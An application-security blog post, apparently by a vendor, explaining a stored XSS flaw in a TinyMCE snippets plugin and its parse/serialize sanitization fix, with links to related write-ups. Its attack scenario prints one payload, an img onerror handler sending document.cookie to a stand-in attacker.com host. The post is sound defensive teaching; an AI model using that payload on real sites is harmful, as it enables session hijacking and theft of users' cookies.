Back to Blog
critical SEVERITY6 min read

How stored XSS happens in TinyMCE plugins and how to fix it

The snippets plugin's `Main.ts` inserted raw, unsanitized snippet content directly into the TinyMCE editor via `editor.insertContent(snippet.content)`, allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

O
By Orbis AppSec
Published September 9, 2026Reviewed September 9, 2026

Answer Summary

This is a stored Cross-Site Scripting (XSS) vulnerability (CWE-79) in a TinyMCE plugin written in TypeScript, caused by calling `editor.insertContent()` on unsanitized, database-stored snippet content. The fix sanitizes the content by round-tripping it through `editor.parser.parse()` and `editor.serializer.serialize()`, which strips script tags and dangerous event handlers according to the editor's schema before insertion.

Vulnerability at a Glance

cweCWE-79
fixSanitize content through `editor.parser.parse()` / `editor.serializer.serialize()` before calling `insertContent()`
riskMalicious snippet content executes arbitrary JavaScript in the browser of any user who inserts the snippet
languageTypeScript (TinyMCE plugin)
root cause`editor.insertContent(snippet.content)` inserted raw, unsanitized HTML/JS directly into the editor DOM
vulnerabilityStored Cross-Site Scripting (XSS)

Summary

The snippets plugin's Main.ts inserted raw, unsanitized snippet content directly into the TinyMCE editor via editor.insertContent(snippet.content), allowing stored JavaScript payloads saved by any snippet editor to execute in every user's browser. The fix routes snippet content through TinyMCE's own parser and serializer before insertion, stripping dangerous markup while preserving legitimate formatting.

Introduction

The custom_plugins/snippets/src/main/ts/Main.ts file handles a common but powerful editor feature: letting users insert pre-defined "snippets" of rich content into a TinyMCE document with a single click. The plugin builds a menu of stored snippets and, on onAction, calls editor.insertContent(snippet.content) to drop that content straight into the document.

The problem is exactly what it sounds like — snippet.content is treated as trusted, editor-ready HTML, when in reality it's data pulled from a database that anyone with snippet-editing privileges (or a compromised editor account) can populate. There was no sanitization step between "content stored by a user" and "content injected into the live DOM of every other user's browser." That gap is a textbook stored Cross-Site Scripting (XSS) vulnerability, and it's exactly the kind of pattern that's easy to overlook in plugin code because it "just" calls a convenience method from the editor's own API.

The Vulnerability Explained

Here's the vulnerable code from Main.ts before the fix:

type: 'menuitem',
text: snippet.title,
onAction: () => {
  editor.insertContent(snippet.content);
}

snippet.content comes from a stored snippet record — likely fetched from an API or database — and is passed unmodified into editor.insertContent(). TinyMCE's insertContent() inserts the given HTML string directly into the editor's content model, and ultimately into the page DOM. There is no allowlist, no stripping of <script> tags, and no neutralization of inline event handlers.

Attack scenario: Imagine an attacker with editor privileges (or an attacker who compromises a lower-trust editor account) creates a new snippet titled "Company Signature" with content like:

<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">

This gets saved to the snippets database like any legitimate snippet. Later, any other user — potentially an administrator with a higher-privileged session — opens the editor, clicks the "Company Signature" snippet from the menu, and the plugin calls editor.insertContent(snippet.content). The <img> tag is inserted into the DOM, the browser attempts to load src=x, fails, fires onerror, and the attacker's JavaScript executes in the victim's authenticated session — exfiltrating cookies, session tokens, or CSRF tokens, or performing actions on the victim's behalf.

Because snippets are shared, reusable content designed to be inserted by many users over time, this is a particularly effective stored XSS vector: one malicious snippet can compromise every user who ever clicks it, long after the attacker created it.

The Fix

The fix changes the single line responsible for insertion, adding a sanitization pass that leverages TinyMCE's own content model instead of trusting the raw string:

Before:

onAction: () => {
  editor.insertContent(snippet.content);
}

After:

onAction: () => {
  // Sanitize snippet content against the editor's schema before
  // insertion to strip script tags/handlers and prevent stored XSS
  // from snippets that may have been saved with malicious markup.
  const sanitized = editor.serializer.serialize(editor.parser.parse(snippet.content));
  editor.insertContent(sanitized);
}

This works because TinyMCE's parser builds an internal DOM-like node tree from the HTML string according to the editor's configured schema — the set of allowed elements, attributes, and event handlers. Elements and attributes that don't conform to that schema (such as <script> tags or onerror/onclick handlers not permitted by the schema) are dropped during parsing. The serializer then converts that sanitized node tree back into an HTML string, which is what actually gets passed to insertContent().

In effect, snippet.content is no longer inserted "as-is" — it's normalized through the same schema-aware pipeline TinyMCE uses internally for pasted and typed content, closing the gap between untrusted stored data and the live editor DOM. The change is scoped to a single call site in a single file, preserving the plugin's existing behavior (snippets still insert correctly) while removing the ability for malicious markup to execute.

Key Takeaways

  • editor.insertContent(snippet.content) in Main.ts:20-30 treated database-stored snippet content as trusted HTML — it wasn't.
  • Snippets are inherently multi-user, reusable content, making stored XSS via snippets especially dangerous: one poisoned snippet can compromise many victims over time.
  • The fix leverages TinyMCE's built-in editor.parser and editor.serializer to enforce the editor's schema before insertion — no custom sanitizer library was needed.
  • Any plugin or feature that inserts externally-sourced content into a rich text editor should route it through the same parse/serialize sanitization pattern shown here.
  • Privilege separation matters too: limiting who can create/edit snippets reduces the attack surface, but sanitization at the insertion point is the actual technical control that stops exploitation.

How Orbis AppSec Detected This

  • Source: Stored snippet content (snippet.content), originating from the snippets database/API and populated by any user with snippet-editing privileges.
  • Sink: editor.insertContent(snippet.content) in custom_plugins/snippets/src/main/ts/Main.ts:20, which injects HTML directly into the live TinyMCE editor DOM.
  • Missing control: No HTML sanitization or schema enforcement was applied to snippet.content between storage/retrieval and insertion into the editor.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Sanitize snippet.content via editor.serializer.serialize(editor.parser.parse(snippet.content)) before calling insertContent(), stripping non-schema-conforming markup such as script tags and inline event handlers.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability is a reminder that "internal" or "editorial" content sources aren't automatically safe content sources. A snippet library built for convenience became a stored XSS vector because raw HTML flowed straight from storage into editor.insertContent() with no sanitization in between. The fix is small — a single line replaced with a parse/serialize round-trip — but it closes a real gap: any user with snippet-editing access could otherwise have executed arbitrary JavaScript in the session of any colleague who clicked "insert." Treat every DOM-writing sink in editor plugins as a potential injection point, and sanitize accordingly, every time.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #189

Related Articles

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.

high

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.

critical

How credential leakage through console logging happens in JavaScript browser extensions and how to fix it

A browser extension's `src/background/credentials.js` printed the full Strava authentication cookie string — including a signed JWT and CloudFront-Signature values — straight into the extension console via `console.debug`. Anyone who could open DevTools on the background page (or any tooling that scraped the console) could copy a live session and impersonate the user. The fix replaces the credential payload in both log statements with `Boolean(credentials)` and strips a realistic-looking JWT out